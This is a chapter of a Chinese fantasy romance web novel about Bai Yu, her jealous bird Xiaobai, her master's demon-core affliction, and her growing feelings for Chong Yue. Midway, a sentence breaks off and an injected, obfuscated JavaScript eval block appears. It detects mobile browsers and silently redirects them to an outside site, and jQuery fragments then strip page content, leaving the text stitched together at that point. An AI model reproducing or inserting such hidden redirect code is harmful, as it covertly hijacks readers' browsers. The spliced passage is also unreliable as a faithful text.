小白在得知白羽骗了它时,憋着气,蹲在树杈上冷眼刀了重月许久。
那傻子却来逗它,“你好漂亮。啾啾——啾啾——”
啾什么啾,它的声音明明是叽或者喳,真当它是会唱歌的百灵鸟了?
气着时,当即便给了他一记下马威,猛地啄了他一口,疼得他手指一缩。
这傻子又说,“我是白羽的朋友,以后你也是我的朋友,就不要再啄我了。”
偷偷藏起它的人还有胆量与它商量?它自然不会放过他,逮着他便是又啄又抓,打得他落荒而逃。
不过那小子并没告状,抓了只兔子讨她欢心。
他不就仗着自己有手么?若它是人更会讨她欢心。
小白一路生着闷气,跟白羽回了星璃阁。
明亮的橘色洒进了屋里,柔和而温暖。
白羽将衣服随意缝了几针,抱住小兔倒在阳光下的褥子上。
绵软舒适的褥子与手中滑柔的兔毛勾住她不放,阖上眼心里想,还好只有她与流光才听得懂小白在说什么,不然指不定小白会说出什么话将他气死。
不知不觉,白羽在昏昏沉沉的思绪中睡去。
黄昏时,隔壁传来了扑水的“啪啪”声,持续不断。
“该死,滚出去!”紫璃一声大吼。
白羽惺忪的眼猛地一惊,残余的睡意被驱赶得无影无踪。
她撑起身子,耳朵竖得像兔子,小白扑着翅膀从床头飞来,“蠢丫头,你师傅吵死人了,莫不是在发疯?”
发疯?白羽眉心一皱。
“砰!——”
什么东西被推翻,惊得她心头一颤。
师傅性子虽急,却从未到发疯摔东西的地步,莫非是与予星师叔吵架了?
紫璃的房门紧闭,白羽贴着门缝悄悄探了一眼,屋里钻出一股湿潮的暖意——刚洗澡?
“师傅?”
“滚!——”又急又高亢的声音隔着门扇猛地扑在她脸上。白羽惊得一撤,扶在门上的手倏地缩了回来。
“扑——哗哗——”
背后撞来个硬硬的东西,水声荡了两荡。
一转头,便见流光没好气的脸,她正端了盆水要进屋。
“你在这鬼鬼祟祟地干嘛?”
白羽满脸堆笑,“没……没什么。”眼睛一转,问起来,“流光姐姐,师傅这是怎么了?”
流光忽地变了脸似地拉她去了一旁,咧唇一笑,压低了嗓音,“你还不知道吧,主人对予星大人……嘻嘻嘻……”话说了半头,她便难为情地捂唇笑了起来,“你说她以前咋不这样?自从昨晚就……”
话又只说了半头。
昨晚?
自然能联想到紫璃勇猛又撩人的样子。
白羽唇角上扬,闷自发笑。
“那她现在是?”
“她昨夜吸了太多魅气,纵然今日清醒着,也抵挡不住……刚从予星大人那里回来呢……”流光的话总是说不完整,又总透露了些什么。
她便自行脑补了一个画面,紫璃扛走予星,将他扔进了床榻,门窗紧闭,昏昏暗暗。予星紧张地缩进了床角,像个小媳妇一样连连摆手,“不……阿璃……不要!”
想到这里,白羽忍住笑,脸憋得发红。
之后,紫璃欺身而上压得他动弹不得,他拼命挣扎,衣衫被剥了一层又一层……
再后来……再后来……她也想象不出了,只是觉得好笑,唇角半晌压不下来。
须臾,她的思绪开始乱跳,画面一转,是她被围进了床帐里,而眼前的是……是……高大挺拔的重月,胸前洇出薄湿,勾勒出雄性张力的曲线。
逼仄的空间,空气也被压缩得炙热湿稠。
他俯下身逼近,唇角含笑,发梢与眼中泛着湿漉漉的水光,一只手将她捞了过去,在贴近的一瞬,羞色迷漫……
“扑!——”
泼水声打破了她迷离的幻想,羞火陡然烧到了耳根,眉心跳了跳。
抽筋的脑子到底在乱想什么?
她承认今日见到他的确有些见色起意,可也就那一瞬……
就算自己喜欢他,更多是儿时的情意,也并没到非他不嫁的地步,怎就生出了这种心思?
羞赧越烧越烈,她两脚一撒,捂住脸便奔回了屋,一头扎进了褥子里。
“你怎么了?”小白疑惑地眨了眨眼。
“别问!”
须臾,她在床上的褥子里摸了几下,扫了几眼房内,又拉起床单瞧了眼床下。
“不用找了,兔子被我放了。”小白蹲在衣架上,睨着的眼神透着一丝得意。
“啊?!你干嘛放了它,它多可爱,抱着软绵绵的舒服死了。”
它闭上眼,不以为意,“抱着我不舒服吗?干嘛还要抱它?”
“……”
这家伙连只兔子的醋都要吃,她还没抱够呢,那手感比鸟雀的更为舒服。
罢了,只要小白不闹,放了就放了吧。
白羽身子一仰倒在床上,翘起了二郎腿,气息还在方才的事中没有平顺。
都怪他长得太好看才引起了她的遐想。
“哗——扑——”
隔壁瓢泼的声音若是再不停,只怕整个屋子都要淹了。
可紫璃与予星两情相悦,为何这般发恼?
师傅在星云山从来不避讳什么,不会因为失了面子才这般。或许是因魅气改变了她,让她发恼?又或是她太在意予星的目光?
“阿璃……”隔壁予星正在叩门。
“谁都不见,明日我便回夕云山。”
呵,她要真想离开何须等到明日。白羽闭着眼都能戳破师傅的心思,不过是有些别扭罢了。
“明日回去太好了。”
她一把抓住飞来飞去,极为欢悦的小白,郑重其事地一字一句告诉它,“明,天,回,不,去。”
闪亮亮的眸子登时黯灭。
“你还想留在这里?到底想与他纠缠到几时?”纠缠这个词似乎有些不恰当,但小白找不出更好的词来形容。
它可是日夜都想回去,那个只有它与白羽做伴的地方。
白羽不以为意,唇角抿着一丝狡黠的笑,故意气它,“那就纠缠到他发现我女子身份。”
女扮男装是小白提出的,它自是不想让重月知道她女子的身份。若是发现她的身份岂不是破了它这条规矩?
“不行!”小白额心一蹙,睨着她许久,忽然发问,“若让你在我与他之间选,你会选谁?”
似乎这个问题早在它心中许久。
“那当然是……”白羽从没想过这个问题,若真有那日她该怎么选呢?
一个是年少的恩人与朋友,一个伴了她五年,怎么选都觉得少了些什么。
她被这个问题难住,半晌也没吱声。
重月魔丹未除,能帮他的没有几人,胡夫人并不知道这些,因此她现在还不能走。女子身份迟早会露馅,届时再说也不迟。
此时更该想想怎么去哄哄师傅,她还有许多事要问呢。
比如魔丹。
“很难回答吗?”小白依旧执着于那个答案,等得有些不耐烦。
白羽飘远的思绪嘎然止住,平静道:“小白,你与他对我都很重要,我虽舍不得你,可也放不下其他在意的人,或许你不能理解,可……”
她不由地想起了柔汐,情绪低沉,叹了口气,“人生无常,说不定哪天在意的一切都看不见了……”
小白似乎明白了她的难过,又似乎不忍心让她难过,飞落在她手旁蹭了蹭,“放心吧,我会陪着你的。”
一只手顺着它的羽毛轻轻抚摸。
窗外的落日余晖散尽,余下阴凉的浅光。
睡了一日,白羽精神百倍,听闻隔壁屋里消停,穿过堂屋,去师傅门前叩了叩。
“谁啊?”
“师傅,是我。”白羽小心翼翼,生怕劈头盖脸一顿骂。
“你来干吗?”
这话问的,她就不能来了吗?或许师傅此刻期盼的是予星?
她乖巧道:“我想看看师傅,顺便问些事情。”
“进来吧。”
房内地面已没了水渍,紫璃盘膝坐在榻上,运功收势。
“你这死丫头竟敢笑话师傅,不怕讨打?”紫璃抻腿,做了个起身要打的势头,“说吧,有什么事?”
显然,流光在师傅面前告了状。这家伙,合着上次的事报复了她。
不过好在师傅刚发泄完,怒气不盛。
白羽笑嘻嘻地抱住紫璃的胳膊,坐在榻上,“师傅,您没事太好了,徒儿正担心着呢。”悄悄观察紫璃的神色,“魔丹寄附人心……”见她未露愠色,才接着问,“最后会怎么样?”
紫璃清冷的眸子笼上暗影,声音低沉,惆怅道:“它会与心渐渐融合,再也除不去了,届时便会彻底失去心智堕入魔道,或是变为嗜血的妖魔为祸世间,或是被力量更强的魔吞噬,灰飞烟灭。”
未见师傅入魔前,白羽并不觉得魔丹有多可怕,昨夜虽见着骇人的威力,也没想到会这么严重。
她再也不敢当作玩笑,那种随时会失去的感觉,让她心头蓦地一慌,鼻尖一阵酸涩。
“那,可有解法?”
紫璃低垂眸子,叹了口气,“若有办法我早试了,相传翎雪山墨家有一件法宝翎雪冰晶,可净化魔气。只是墨家早在几年前被灭了门,冰晶也不知所踪,我寻了几年一无所获。除此之外,只有剜心……”
墨家!——
灰暗的画面铺天盖地地涌进了她的脑中。模糊的,片段的,厮杀的,血腥的,还有爹娘死前的挣扎,染血的眼眸……
白羽面色煞白,半晌没有出声。蜷着的手颤了起来,心头蓦地一阵翻江当海。
紫璃察觉异样,怔了瞬,“徒儿,你怎么了?”
“没什么,昨夜太累了,有些不舒服。”她避开目光,将湿濡的眸色隐入暗处。
墨家的确亡了,可剜心……人还怎么活……
她的心好似因感受到疼痛微微紧缩,衣衫攥得皱巴巴的。
所有不好的情绪一股脑地涌了来,再也控制不住自己,扑在紫璃肩头大哭起来,“呜……师傅,我一定想办法救你们,绝不让你们死……呜呜……”
紫璃一把推开,“你这死丫头,我还好好活着呢!”这么说时,眼尾也染上了滞涩的薄红。
“我一时没忍住嘛……”白羽脸上挂着泪,瘪着嘴,委屈巴巴。
“我还没说完呢。”紫璃眨眼刷去泪痕,瞧她的样子又好气又好笑,“魔可夺取低等级的魔丹融合修炼。我的魔丹虽难解,却可入魔吸出重月的魔丹,只是,那时我失去了心智,不可控的因素太多。”
“这好办,叫师公来不就行了……”她擦了擦泪,脱口而出。
一记眼刀甩了过来,白羽干笑两声,声音还带着瓮气,“呵呵……我跟师傅开玩笑呢,不如去抓一只大魔将你们的魔丹都吸出不就好了?”
“你以为大魔那么好抓?多年前大魔已被师傅与众弟子剿灭,魔子之灵也被封在了幽寂山。即便有漏网之鱼怎肯帮我们修仙之人?况且……”
紫璃眼中似有不可告知的秘密,轻叹一声,“这段时日做聚灵丹的雪乌也寻不到了,你先回去吧,我会考虑的。”
白羽满是心事地出了门,抬眸见重月正坐在堂中,抱着一叠衣衫。见她来连忙起身,唇角微翘,目中却淌过沉郁之色。
显然,他听见了方才的谈话。
“你都听见了?”
“嗯。”他避开话题,递来衣衫,“我见你衣衫穿不下了,便同师傅讨了两套,你试试可合身?”
这家伙是她肚子里的蛔虫?这都能替她想到?
白羽目光微动,接过衣衫,又见他从腰间摸出个药瓶,“还有,我知道你受伤了,给你带了些药,本想早些给你的,流光说你睡了,我便现在才来。”
她的伤藏得那么好,还是被发现了,愣怔的一瞬,下意识接下药,“谢谢。”
“那,我先走了。”重月不露声色,只是转身后身影有些落寞。
“等等。”
他回头,眉头稍稍抬起,唇角抿起弧线,似乎有些疑惑又有些欣悦。
“在我心里,你不是魔人,你只是阿卓,魔丹我会帮你除去的。”这是白羽第一次望入他的眼中,他的眸光在一闪间有了光亮。
“嗯。”重月微笑颔首。
白羽并不习惯与他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542322|171032||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
对视,放下衣物,赧然道:“我送送你吧,还有些事要与你说。”
星璃阁的山道长且幽静,两人并肩徐步而下。
她依胡氏夫妇所托,报喜未报忧,又与他说了说大阵之事。
只是在说完时,不知该说些什么。
天色有如淡墨铺延,朦胧中眸光都看不真切。
她稍后半步,肆无忌惮地看着他,有种想牵起他衣袖的冲动,就如同年少时她攥着他的衣袖,与邻里孩童玩耍。
对方的眼角不时微微偏移,或是想扭头,又怕打破这种静谧。
沉默一瞬,他停下脚步,终是开口道:“天色已暗,山阶不好走,你还是早些回去休息吧。”
话音刚落,她还未来得及开口,山道的灵灯忽地亮了。
明晃晃地照亮了前方的路,两侧的树影散开,好似特意为他们开了条明亮的道路。
白羽怔了瞬,因着太过巧合心里有些发笑,他是掐着点说的?
对方显然也愣了一瞬。这才想起每将入夜,星云山沿路的灯火便会自然亮起。
可这过于巧合,让他不得不解释,“我不是有意的,我忘了……”
言语中的无措再明显不过,竟让人觉得有些可爱。
白羽抿唇一笑,“走吧,天意要我送你。”
“那,下次换我送你。”重月的眸中映着灯光,微微闪动。
“好啊。”
两人随意聊了聊,不知不觉便到了重月的晓月居前。此处在予星的星辰居后,不过隔了条道的距离。
院墙上露出白玉兰的枝梢,挂了些零星的枯叶与幼蕾,还挂了一轮弯弯的月亮。
春日的小树已然长大,白羽忍不住问,“你喜欢白玉兰?”
这话似是撞破了什么,重月目光闪烁,只是随意地“嗯”了声。
或许睹物思人,不想提及柔汐吧。
翌日晨,破魂狱。
“啊!——啊,啊!——”
雷光霹雳,乌索困绑玄缠,紧贴在石壁上。紫色电光游走,牵一发而触全身,早已将她击得皮开肉绽,没了娇媚的模样。
素言施法加重了惩击的力度,金丝银线在她体内极速穿梭,伴着雷光扎得千疮百孔。
“啊!——”一声高亢的嘶嚎,玄缠的脑袋无力耷下,双臂在乌索的绷紧中依旧拉得笔直。
予星唇角扯着一抹冷笑,“惩击的滋味如何?招还是不招?”
“门主大人,你饶了我吧。尊主大人戴着面具,从不暴露行踪,我真的什么都不知道啊……”
她的眸中水光楚楚,乌血自轻颤的唇角滑落,好似断线的珠子。只是虽在求饶,却言语娇嗔,唇边还泛着一丝似是挑恤的笑。
连审了一夜,什么都套不出,予星失去耐心,口中吐出了几个字,“送她去诛魔台。”
转身便大步流星出了狱。
“是。”素言接令。
诛魔台乃是祖师设下的除魔大阵,在离破魂狱不远的断崖悬台上。
行刑时弟子皆在崖边围观,白羽穿过人堆挤到最前排,想见见这诛魔阵的威力。
启阵时,金光符阵拔地而起,游动的符文将玄缠罩在其中,插翅难逃。天光一震间,不待她挣扎便被逼出躯壳散为黑雾,连魔丹都未能留下,果真威力惊人。
白羽心口一紧,若有一日……
刚生出念头便被掐了下去。不,她绝不会让悲剧发生。
人群中,高高一人尤其显眼,身边疏离出的空间好似孤立于岛。
白羽一眼便见重月沉默失落的神色,想起儿时他怕她受到冷待,缓和气氛逗她开心,如今易地而处,忽起一阵难受。
他似乎知道她正在看他,精准地望了过来,微微一笑。
人潮流动遮挡了她的视线,再望去时已不见了人影。
弟子散去,一人引起了她的注意。素言竟横抱起柔汐的躯体去了星云山的陵墓。
安葬柔汐该是弟子们将她抬走,他却遣散弟子独自去抱……
正疑惑时,清润的嗓音在耳边道:“你在等我?”
回眸一望,重月竟在身旁。
此刻,她被好奇心勾着,迫不及待地问,“这个素言是谁?与柔汐的关系如何?
重月望了一眼他的背影,“他本是方知师伯的弟子,只是师伯早在几年前的大战中逝天,平日便跟着师傅,受到师傅的重用。他也常与悲天师伯走动,执棋对弈。他的棋术很好,连师傅都下不过他。至于与柔汐……我也不清楚。或许,他看在与悲天师伯的交情,才亲自抱她安葬吧。”
白羽回眸,睁着大眼一脸疑惑,“你与柔汐关系最好,为何不去抱她?”
不是说喜欢她么?见她的遗体被别人抱着怎么没有任何反应?
重月在这逼问中脸颊一阵羞红,“我……我……”显然有些无措。
他根本没往这方面想过,也并不觉得自己与柔汐的关系有多好,只是在她需要帮助时帮过她几回,还有那日换了一株玉兰树而已。
可这一问,显得他如薄情郎一般。
“谁说我与她关系最好……”重月说时瞧了眼白羽,声音渐低。
“你不是?……”
“白羽——”小白又在关键时刻拦住了话,扑扑飞了过来。方才人潮拥挤,它便飞出去溜了一圈,这才一会不见那傻大个又来了,跟个狗皮膏药似的甩都甩不掉。
白羽伸手接住了它。
它蹲在她的肩头,不屑的目光扫过重月,猛地在白羽颈上揪了一口。
“嘶……小白!痛!”白羽伸手便打,毫不留情。
小白瞅着自己揪出的红印,高高昂起了几乎没有的脖子,显然有些得意。
“这鸟也啄主人么?”重月瞅着红到透血的印记,又怜惜地看了她一眼,似乎不解她为何饲养如此猛禽。
“呵呵……它这是示好。”白羽瞋小白一眼,微蹙眉头干笑了两声。
“难怪昨日它一直啄我,原来是喜欢我。”重月眉间一展,又手欠欠地想去逗。
白羽没想他竟得出如此结论,有些哭笑不得。一扭头,小白眼中的硝烟已腾起了三丈,蹙着额心,气得胸前剧烈起伏。
它心里正暗骂,这家伙是傻子吗?!